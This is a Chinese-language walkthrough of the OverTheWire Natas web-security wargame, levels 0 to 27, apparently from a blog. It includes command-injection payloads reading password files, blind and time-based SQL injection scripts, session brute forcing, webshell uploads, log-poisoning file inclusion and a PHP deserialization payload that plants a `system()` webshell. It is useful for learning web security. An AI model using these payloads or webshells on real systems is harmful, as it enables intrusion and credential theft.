wargame之Natas解题过程记录
0x00 natas0#
http://natas0.natas.labs.overthewire.org/
直接 F12 查看源码,找到密码。
0x01 natas1#
http://natas1.natas.labs.overthewire.org/
禁用了右键,直接 F12 查看源码,找到密码。
0x02 natas2#
http://natas2.natas.labs.overthewire.org/
查看图片信息,是 1 个像素的图片,可能是密码存储在图片内,下载下来看看。
$ curl -H "Authorization: Basic bmF0YXMyOlpsdXJ1QXRoUWs3UTJNcW1EZVRpVWlqMlp2V3kybUJp" http://natas2.natas.labs.overthewire.org/files/pixel.png -o pixel.png
$ cat pixel.png
使用 exiftool 查看图片信息:
猜测是文件遍历,访问 http://natas2.natas.labs.overthewire.org/files/
打开 users.txt
,获得密码。
0x03 natas3#
http://natas3.natas.labs.overthewire.org/
直接 F12 查看源码,啥都没有。
看看 robots.txt
,有东西。
http://natas3.natas.labs.overthewire.org/robots.txt
访问一下这个目录。
http://natas3.natas.labs.overthewire.org/s3cr3t/
打开 users.txt
,获得密码。
0x04 natas4#
http://natas4.natas.labs.overthewire.org/
使用 HackBar
修改 HTTP 头。
0x05 natas5#
http://natas5.natas.labs.overthewire.org/
提示没有登录,一般登录标识就存放在 Cookie 中,找到 Cookie,名为 loggedin
。
使用 EditThisCookie
修改 Cookie 值为 1。
刷新页面。
0x06 natas6#
http://natas6.natas.labs.overthewire.org/
需要输入一个 secret,点击右下角的 View sourcecode
,查看页面源码。
直接访问 includes/secret.inc
。
回到刚才的页面,输入 secret,成功获取密码。
0x07 natas7#
http://natas7.natas.labs.overthewire.org/
查看页面源码,看到注释,很明显是文件包含漏洞,直接包含目标文件。
访问 http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
,获得密码。
0x08 natas8#
http://natas8.natas.labs.overthewire.org/
需要输入一个 secret,点击右下角的 View sourcecode
,查看页面源码。
从上面的代码可以分析出如下流程。
因此,只需要对 3d3d516343746d4d6d6c315669563362
进行反向操作,即可得到 secret。
回到原来的页面,输入 secret,得到密码。
0x09 natas9#
http://natas9.natas.labs.overthewire.org/
点击右下角的 View sourcecode
,查看页面源码。
分析源码,可以得知这里有一个命令执行的函数。
passthru("grep -i $key dictionary.txt");
此处的 key
变量是没有过滤的,所以存在命令拼接,导致任意命令执行,我们可以提交 payload 为 aaa dictionary.txt & id & ls .
,拼接之后为 grep -i aaa dictionary.txt & id & ls . dictionary.txt
。
aaa dictionary.txt & find / -name *natas10* & ls .
可以看到搜索到文件 /etc/natas_webpass/natas10
,直接 cat
一下查看文件内容。
aaa dictionary.txt & cat /etc/natas_webpass/natas10 & ls .
0x0a natas10#
http://natas10.natas.labs.overthewire.org/
查看代码可知,对 ;|&
这三个字符做了过滤,只需要使用 %0a
代替命令分隔符即可。
原始 payload:
aaa dictionary.txt | find / -name *natas11* | ls .
进行 url 编码:
aaa%20dictionary.txt%20%7C%20find%20/%20-name%20*natas11*%20%7C%20ls%20.
将 %7c 替换成 %0a
aaa%20dictionary.txt%20%0a%20find%20/%20-name%20*natas11*%20%0a%20ls%20.
http://natas10.natas.labs.overthewire.org/?needle=aaa%20dictionary.txt%20%20find%20/%20-name%20*natas11*%20%20ls%20.&submit=Search
同理,使用 cat
命令读取文件。
0x0b natas11#
http://natas11.natas.labs.overthewire.org/
查看代码。
分析代码可以知道,访问该网页,会设置一个 cookie, cookie 包含两个字段, showpassword
和 bgcolor
,当 cookie 中读取的 showpassword
为 yes
时会显示出密码。而且 cookie 是经过异或加密的,加密的密钥未提供,需要自行猜解。
// 加密算法,将原文的每一位字符与密钥对应位的字符异或
// 比如原文为 abcde,密钥为 xyz,则 a ^ x b ^ y c ^ z d ^ x e ^ y
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
异或操作有个特性:
x ^ y = z
x = z ^ y
那么对于这个算法,我们可以写一段猜解密钥的代码:
<?php
// {"showpassword":"no","bgcolor":"#ffffff"}
// ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=
$in = "{\"showpassword\":\"no\",\"bgcolor\":\"#ffffff\"}";
$out = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=";
function guess_key($in, $out)
{
$text = base64_decode($out);
$outText = "";
for ($i = 0; $i < strlen($text); $i++)
{
$outText .= $in[$i] ^ $text[$i];
}
echo $outText;
}
guess_key($in, $out);
?>
得到一串长度为 41 的字符串,观察可以知道密钥应该是 qw8J
。
此时再写一段生成 cookie 的代码:
<?php
$payload = "{\"showpassword\":\"yes\",\"bgcolor\":\"#ffffff\"}";
function xor_encrypt($in) {
$key = 'qw8J';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
echo base64_encode(xor_encrypt($payload));
?>
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
使用 EditThisCookie 提交 cookie,得到密码。
0x0c natas12#
http://natas12.natas.labs.overthewire.org/
随便上传一个文件,可以看到文件被重命名为 xxx.jpg
。
查看源码,可以知道, .jpg
后缀是前端代码加的,后端没有对后缀名进行检查,所以只需要抓包修改后缀即可。
使用 BurpSuite 进行抓包,按照图中所示修改请求。
上传成功。
直接访问 WebShell,使用 BurpSuite 发包。
根据之前的经验,密码肯定在 /etc/natas_webpass
目录下。
查看密码。
不知道为什么上传 WebShell 之后,用蚁剑无法连接。
0x0d natas13#
http://natas13.natas.labs.overthewire.org/
这个题也是上传题。
直接看源码,多了个 exif
头检查。
用 BurpSuite 抓包,上传一个 JPG 文件。
修改请求:
-
修改文件后缀名为
jpg
-
修改文件内容:保留
exif
头,删除文件内容,插入 WebShell 的代码。
上传成功。
直接访问 WebShell,使用 BurpSuite 发包。
根据之前的经验,密码肯定在 /etc/natas_webpass
目录下。
0x0e natas14#
http://natas14.natas.labs.overthewire.org/index.php
查看源码,此处存在 SQL 语句拼接,明显存在 SQL 注入。
直接注入。
成功获得密码。
0x0f natas15#
http://natas15.natas.labs.overthewire.org/
查看代码可以知道,SQL 查询结果是没有回显的,只有 true
或者 false
的区别,也就是布尔盲注,所以需要通过逻辑来判断。
如图,我们构造了如下 payload,它的作用是判断用户名第一个字符的 ASCII 码是否为 1。
使用 BurpSuite 的 Intruder 模块遍历一下。
ASCII 码对应
97 -> a
98 -> b
99 -> c
110 -> n
// 也就是说至少存在 4 个用户,第一个字符分别为 a, b, c, n
有一个用户名是 n
开头,所以猜测用户名为 natas16
。
接下来爆破一下密码长度,得知密码长度为 32。
再次构造 payload 爆破密码:其中第一个 1
的范围是 1 - 32,第二个 1 的范围是 0 - 127( ASCII 码的范围)。
使用 BurpSuite 跑一下。
因为我们用到 right
函数,从右往左截取密码,所以需要反过来拼接,用 python
处理一下。
成功算出密码。
0x10 natas16#
http://natas16.natas.labs.overthewire.org/
查看源码,对输入进行了过滤。
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
这里把 ;|&'"
以及反引号,因此无法直接将多个命令串联起来,经过搜索发现 $()
也能执行命令,如 grep -i "$(echo 123)" a.txt
等价于 grep -i "123" a.txt
。
虽然不能直接输出字符,但可以通过命令拼接字符串,根据网上找到的思路,是找到字典中一个完整的单词( dooming ),通过将密码逐个字符添加到这个单词后面再进行 grep
操作,如果有结果说明运算后的字符串仍然是 dooming
。
# 假设密码是a12
# 构建基础字典 a-zA-Z0-9
grep a /etc/natas_webpass/natas17 # 输出a
dooming$(grep a /etc/natas_webpass/natas17) # 结果为doominga
grep -i "doominga" dictionary.txt # 输出为空,因为字典中不存在这个单词
grep b /etc/natas_webpass/natas17 # 输出为空
dooming$(grep b /etc/natas_webpass/natas17) # 结果为dooming
grep -i "dooming" dictionary.txt # 输出为 dooming,因为字典中存在这个单词
# 这样一系列操作下来就可以判断出密码中总共存在哪些字符了
下一步,对密码的每一位进行暴力破解。
# 根据以往的经验,密码长度为 32 位
# 假设上一步中得知密码中所出现的字符为 bcdghkmnqrswAGHNPQSW035789
# 那么我们先猜测第一位是 b
grep ^b /etc/natas_webpass/natas17 # 如果密码是以 b 开头,就会输出 b
# 如果密码是以 b 开头,就会输出 doomingb
dooming$(grep b /etc/natas_webpass/natas17)
# 输出为空
grep -i "doomingb" dictionary.txt
# 以此类推破解每一位的密码
这是 Python 爆破程序:
import string
import requests
h = {
'Authorization': 'Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==',
'Content-Type': 'application/x-www-form-urlencoded'
}
dd = string.ascii_letters + '0123456789'
pass_d = ''
# 先遍历出密码中出现的所有字符
for d in dd:
payload = 'dooming$(grep {} /etc/natas_webpass/natas17)'.format(d)
r = requests.post(url='http://natas16.natas.labs.overthewire.org/', headers=h, data='needle={}&submit=Search'.format(payload))
if 'dooming' not in r.text:
pass_d += d
print(pass_d)
# 初始化密码为空
passwd = ''
# 逐位爆破密码
for i in range(32):
for d in pass_d:
payload = 'dooming$(grep ^{}{} /etc/natas_webpass/natas17)'.format(passwd, d)
r = requests.post(url='http://natas16.natas.labs.overthewire.org/', headers=h, data='needle={}&submit=Search'.format(payload))
# 如果响应结果为空,说明 dooming 后面添加了别的字符,也就是密码前缀是正确的
if 'dooming' not in r.text:
# 将当前字符拼接到 passwd 后面
passwd += d
print(passwd)
运行结果:
0x11 natas17#
http://natas17.natas.labs.overthewire.org/
查看源码。
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas17', '<censored>');
mysql_select_db('natas17', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
好家伙,直接不回显,也就是页面不会有任何区别,那猜测就是延时注入了。
SELECT * from users where username="111111" union select if(ascii(right(password,1))>0, sleep(3), sleep(0)),1 from users where username="natas18"
# 拆解一下 SQL 语句,前半部分很简单
# 后半部分用到了三个函数, ascii,right,sleep
# 意思就是如果密码的最右边一位字符的 ASCII 码大于 0,就睡眠 3 秒
select if(ascii(right(password,1))>0, sleep(3), sleep(0)),1
那么根据请求响应时间就可以判断逻辑是 true
还是 false
了。
同理,逐位破解即可。
下面是 Python 代码:
from numpy import tensordot
import requests
import string
import time
h = {
'Authorization': 'Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw==',
'Content-Type': 'application/x-www-form-urlencoded'
}
chs = string.ascii_letters + '0123456789'
ascii_arr = [ord(x) for x in chs]
payload = 'username=111111%22%20union%20select%20if(ascii(right(password%2C{}))%3D{}%2C%20sleep(5)%2C%20sleep(0))%2C1%20from%20users%20where%20username%3D%22natas18'
passwd = []
for i in range(1, 33):
print(i)
for ascii in ascii_arr:
time.sleep(1)
t_start = time.time()
pl = payload.format(i, ascii)
r = requests.post(r'http://natas17.natas.labs.overthewire.org/index.php?debug=1', pl, headers=h)
t_end = time.time()
print(chr(ascii) + '{}'.format(t_end - t_start))
if t_end - t_start > 5:
passwd.append(chr(ascii))
print(passwd)
break
passwd.reverse()
print(''.join(passwd))
0x12 natas18#
http://natas18.natas.labs.overthewire.org/
这也是代码审计题目,直接看源码。
<?
$maxid = 640; // 640 should be enough for everyone
function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}
return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
// session id 会从这个函数生成
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}
return false;
}
/* }}} */
// 这里会对用户权限进行判断,当用户为 admin 权限时,显示出 natas19 的密码
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
/* }}} */
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
可以看到,并没有地方可以对 $_SESSION
进行修改,但是 PHPSESSID
是存储在 Cookie 中的,可以被修改,这就是一个典型的越权漏洞,只需要使用管理员的 Cookie 登录即可。
根据代码可知,PHPSESSID
的范围是 0 到 640,直接用 Burp Suite 的 Intruder 模块跑一下就可以了。
0x13 natas19#
http://natas19.natas.labs.overthewire.org/
题目提示:
此页面使用的代码与上一级别几乎相同,但会话 ID 不再是连续的...
直接登陆一下试试。
发现 PHPSESSID
是一个字符串,格式为 xxxdxxxxx
,用一个字符 d
隔开两个数字。
使用用户名 abceeeeeee0
到 abceeeeeee39
进行测试,可以观察出规律:
-
字符
d
左边的数字是3xxx2
,其中xxx
随机的 -
字符
d
右边的数字串是用户名的十六进制ASCII
码
所以,管理员的 PHPSESSID
应该是 3xxx2d61646d696e
。
目测中间的数字没有超过 65535
,所以就直接遍历 1-65535
。
跑出来 PHPSESSID
是 3238312d61646d696e
。
0x14 natas20#
http://natas20.natas.labs.overthewire.org/
查看源码,经过分析,关键函数就是 myread
函数,这里是从会话文件读取用户会话信息的逻辑。
function myread($sid) {
debug("MYREAD $sid");
// 字符检查
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return "";
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
// 判断会话文件是否存在
if(!file_exists($filename)) {
debug("Session file doesn't exist");
return "";
}
debug("Reading from ". $filename);
// 读取文件内容
$data = file_get_contents($filename);
$_SESSION = array();
// 会话文件存在多行,逐行读取
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
// 每一行用空格隔开两个字符串
$parts = explode(" ", $line, 2);
// 两个字符串分别是 key value
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
return session_encode();
}
然后我们再看看判断用户权限的逻辑:
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}
这里会判断用户会话( $_SESSION
)是否存在键 admin
且 值为 1
,所以根据这两段代码,我们可以猜测,管理员用户的会话文件内容应该是这样的:
name admin
admin 1
那么直接构造 payload
提交即可( %0a
对应换行符 )。
name=test%0aadnmin 1
提交后的结果:
再提交一次。
0x15 natas21#
http://natas21.natas.labs.overthewire.org/
这题给了两个页面。
看一下源码。
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas22\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
}
}
session_start();
// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
foreach($_REQUEST as $key => $val) {
$_SESSION[$key] = $val;
}
}
很明显,只需要提交 admin=1
就可以修改会话。
然后再带上这个 Cookie 访问原来那个页面就可以获得密码。
0x16 natas22#
http://natas22.natas.labs.overthewire.org/
查看源码。
<?
session_start();
if(array_key_exists("revelio", $_GET)) {
// only admins can reveal the password
if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
header("Location: /");
}
}
?>
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas22", "pass": "<censored>" };</script></head>
<body>
<h1>natas22</h1>
<div id="content">
<?
if(array_key_exists("revelio", $_GET)) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas23\n";
print "Password: <censored></pre>";
}
?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
这里判断一下是否为管理员会话,如果不是管理员就跳转,我们直接 BurpSuite 抓包,不让它跳转就行了。
0x17 natas23#
http://natas23.natas.labs.overthewire.org/
查看源码。
<?php
if(array_key_exists("passwd",$_REQUEST)){
if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
echo "<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas24 Password: <censored></pre>";
}
else{
echo "<br>Wrong!<br>";
}
}
// morla / 10111
?>
strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
所以字符串跟数字比较时,会将字符串转换成数字再比较,比如 12xxxz > 11
返回为 True
, 1zxx > 2
返回 False
。
构造 passwd=11iloveyou
,提交即可。
0x18 natas24#
http://natas24.natas.labs.overthewire.org/
<?php
if(array_key_exists("passwd",$_REQUEST)){
if(!strcmp($_REQUEST["passwd"],"<censored>")){
echo "<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas25 Password: <censored></pre>";
}
else{
echo "<br>Wrong!<br>";
}
}
// morla / 10111
?>
strcmp
bypass 方法:
strcmp()在比较字符串和数组的时候直接返回0,这样通过把目标变量设置成数组就可以绕过该函数的限制
直接提交 passwd[]=test
,获得密码。
0x19 natas25#
http://natas25.natas.labs.overthewire.org/
查看源码。
function setLanguage(){
/* language setup */
if(array_key_exists("lang",$_REQUEST))
if(safeinclude("language/" . $_REQUEST["lang"] ))
return 1;
safeinclude("language/en");
}
// 文件包含
function safeinclude($filename){
// check for directory traversal
if(strstr($filename,"../")){
logRequest("Directory traversal attempt! fixing request.");
$filename=str_replace("../","",$filename);
}
// dont let ppl steal our passwords
if(strstr($filename,"natas_webpass")){
logRequest("Illegal file access detected! Aborting!");
exit(-1);
}
// add more checks...
if (file_exists($filename)) {
include($filename);
return 1;
}
return 0;
}
function listFiles($path){
$listoffiles=array();
if ($handle = opendir($path))
while (false !== ($file = readdir($handle)))
if ($file != "." && $file != "..")
$listoffiles[]=$file;
closedir($handle);
return $listoffiles;
}
// 写日志
function logRequest($message){
$log="[". date("d.m.Y H::i:s",time()) ."]";
$log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
$log=$log . " \"" . $message ."\"\n";
$fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
fwrite($fd,$log);
fclose($fd);
}
初步判断是一个文件包含漏洞:
-
可以在日志文件写入
User-Agent
-
可以通过文件包含把日志文件包含进来
首先我们尝试包含日志文件。看代码可以知道是通过 safeinclude
来进行文件包含的,其中过滤了 ../
和 natas_webpass
,但是 ../
仅仅进行了替换,没有阻断整个包含的流程,所以可以从这里下手:构造 ..././
进行提交的话,会被替换成 ../
。
首先通过报错得到当前路径:
http://natas25.natas.labs.overthewire.org/?lang=en%00
对比一下日志的路径:
/var/www/natas/natas25/index.php
/var/www/natas/natas25/logs/natas25_" . session_id() .".log
发现其实日志文件相对于 index.php
的相对路径就是 ./logs/natas25_" . session_id() .".log
,但是包含文件的时候会在路径前加上 language/
,所以此时我们构造的路径应该是 ../logs/natas25_" . session_id() .".log
,再加上我们刚刚构造的绕过方法,最后就是 ..././logs/natas25_" . session_id() .".log
。
可以看到,日志文件已经包含进来了。
我们再尝试往日志里面写入 WebShell
。
再重新提交一下。
看到这里报错了,说明我们成功写入了 WebShell
,并且被解析执行。
成功读取密码。
0x1a natas26#
http://natas26.natas.labs.overthewire.org/
查看源代码,看到一个 Logger
类,同时有对 Cookie 的序列化和反序列化操作,基本可以判断是反序列化漏洞的利用。Logger
类有写文件的操作,可以考虑使用 Logger
类的析构函数写入 WebShell
。
<?php
// sry, this is ugly as hell.
// cheers kaliman ;)
// - morla
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = "/tmp/natas26_" . $file . ".log";
// write initial message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$initMsg);
fclose($fd);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){
// write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
}
function showImage($filename){
if(file_exists($filename))
echo "<img src=\"$filename\">";
}
function drawImage($filename){
$img=imagecreatetruecolor(400,300);
drawFromUserdata($img);
imagepng($img,$filename);
imagedestroy($img);
}
function drawFromUserdata($img){
if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$_GET["x1"], $_GET["y1"],
$_GET["x2"], $_GET["y2"], $color);
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
if($drawing)
foreach($drawing as $object)
if( array_key_exists("x1", $object) &&
array_key_exists("y1", $object) &&
array_key_exists("x2", $object) &&
array_key_exists("y2", $object)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$object["x1"],$object["y1"],
$object["x2"] ,$object["y2"] ,$color);
}
}
}
function storeData(){
$new_object=array();
if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$new_object["x1"]=$_GET["x1"];
$new_object["y1"]=$_GET["y1"];
$new_object["x2"]=$_GET["x2"];
$new_object["y2"]=$_GET["y2"];
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
}
else{
// create new array
$drawing=array();
}
$drawing[]=$new_object;
setcookie("drawing",base64_encode(serialize($drawing)));
}
?>
在本地新建一个 PHP 文件,用于生成 payload。
<?php
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg='#--session start--#';
// 修改 exitMsg 为 WebShell
$this->exitMsg='<?php system($_POST["c"]); ?>#--session end--#';
// $this->exitMsg='AddType application/x-httpd-php .log';
// $this->logFile = "/tmp/natas26_" . $file . ".log";
// 修改 logFile,去掉后缀
$this->logFile = "/tmp/natas26_" . $file;
// write initial message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->initMsg);
fclose($fd);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){
// write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
}
// 创建一个实例,同时指定 WebShell 路径
$log = new Logger("/../../var/www/natas/natas26/img/ssss_ssss.php");
// 序列化并且 base64 编码,将输出结果作为 Cookie提交
echo base64_encode(serialize($log));
提交 payload。
报错了,说明反序列化成功。
访问一下,提交一下命令。
看一下目录。
获得密码。
0x1b natas27#
http://natas27.natas.labs.overthewire.org/
查看代码。
// 数据库结构
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
// 检查用户名密码
function checkCredentials($link,$usr,$pass){
$user=mysql_real_escape_string($usr);
$password=mysql_real_escape_string($pass);
$query = "SELECT username from users where username='$user' and password='$password' ";
$res = mysql_query($query, $link);
if(mysql_num_rows($res) > 0){
return True;
}
return False;
}
// 检查用户名是否存在
function validUser($link,$usr){
$user=mysql_real_escape_string($usr);
$query = "SELECT * from users where username='$user'";
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
return True;
}
}
return False;
}
function dumpData($link,$usr){
$user=mysql_real_escape_string($usr);
$query = "SELECT * from users where username='$user'";
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
// thanks to Gobo for reporting this bug!
//return print_r($row);
return print_r($row,true);
}
}
}
return False;
}
function createUser($link, $usr, $pass){
$user=mysql_real_escape_string($usr);
$password=mysql_real_escape_string($pass);
$query = "INSERT INTO users (username,password) values ('$user','$password')";
$res = mysql_query($query, $link);
if(mysql_affected_rows() > 0){
return True;
}
return False;
}
if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas27', '<censored>');
mysql_select_db('natas27', $link);
if(validUser($link,$_REQUEST["username"])) {
//user exists, check creds
if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
echo "Here is your data:<br>";
$data=dumpData($link,$_REQUEST["username"]);
print htmlentities($data);
}
else{
echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
}
}
else {
//user doesn't exist
if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
}
}
mysql_close($link);
} else {
?>
从代码可以看出:
-
输入用户名不存在时会直接插入一个新的记录
-
输入用户名存在时会检查密码是否正确,如果正确就输出用户名和密码信息
-
用户名和密码都是
varchar(64)
还有一个隐藏的信息点: MySQL 的 varchar
类型对于超出长度的输入会截断,并且会自动去除后面的空格,比如 varchar(5)
,如果尝试存储 123 xxx
,最终结果会变成 123
,利用这个特点,如果我们往数据库插入一个用户跟已经存在的用户名相同,就可以读取已存在用户的密码。
根据题目的特点,猜测用户名就是 natas28
,直接尝试登录就会报密码错误,所以我们使用上面分析的思路构造 payload。
import requests
h = {
'Authorization': 'Basic bmF0YXMyNzo1NVRCanBQWlVVSmdWUDViM0JuYkc2T045dURQVnpDSg==',
'Content-Type': 'application/x-www-form-urlencoded'
}
# 插入一个新的 natas28 用户
data = {
'username': 'natas28' + (' ' * 100) + 'xxx',
'password': '123'
}
res = requests.post('http://natas27.natas.labs.overthewire.org/index.php', data=data, headers=h)
print('Wrong password' in res.text)
data = {
'username': 'natas28',
'password': '123'
}
res = requests.post('http://natas27.natas.labs.overthewire.org/index.php', data=data, headers=h)
print(re.findall(r'password.*', res.text))
成功获得密码。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?